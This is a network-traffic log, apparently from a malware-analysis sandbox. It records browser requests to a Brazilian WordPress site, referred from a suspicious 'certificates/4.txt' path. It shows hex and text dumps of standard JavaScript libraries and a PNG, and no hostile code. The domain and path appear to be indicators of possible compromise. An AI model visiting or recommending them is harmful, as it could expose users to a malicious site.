                                                              Aug 16, 2022 10:33:15.492536068 CEST1094OUTGET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:15.706331968 CEST1124INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:52 GMT
                                                              Server: Apache
                                                              ETag: "a534d0-1c1f-58592d497f080"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                              Content-Length: 7199
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 24085868 18003196
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e 28
                                                              Data Ascii: /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(
                                                              Aug 16, 2022 10:33:15.869558096 CEST1184OUTGET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.081686020 CEST1186INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:52 GMT
                                                              Server: Apache
                                                              ETag: "a55e6f-27f7-58592be2ea280"
                                                              Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT
                                                              Content-Length: 10231
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 24085869 15362492
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61 6c
                                                              Data Ascii: /*SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fal
                                                              Aug 16, 2022 10:33:16.084265947 CEST1196OUTGET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.296924114 CEST1212INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:53 GMT
                                                              Server: Apache
                                                              ETag: "a534bd-434-58592d488ae40"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT
                                                              Content-Length: 1076
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 24085870 17727172
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68 2b
                                                              Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f||(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+
                                                              Aug 16, 2022 10:33:16.299506903 CEST1213OUTGET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.511286974 CEST1222INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:53 GMT
                                                              Server: Apache
                                                              ETag: "a52fb8-7054-58592f4b86d40"
                                                              Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT
                                                              Content-Length: 28756
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16866023 18313161
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 6e
                                                              Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$elemen
                                                              Aug 16, 2022 10:33:16.551914930 CEST1252OUTGET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.763968945 CEST1273INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:28 GMT
                                                              Server: Apache
                                                              ETag: "a54b42-573c-58592e472c700"
                                                              Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT
                                                              Content-Length: 22332
                                                              Content-Type: image/png
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16866024 16865951
                                                              Age: 228
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 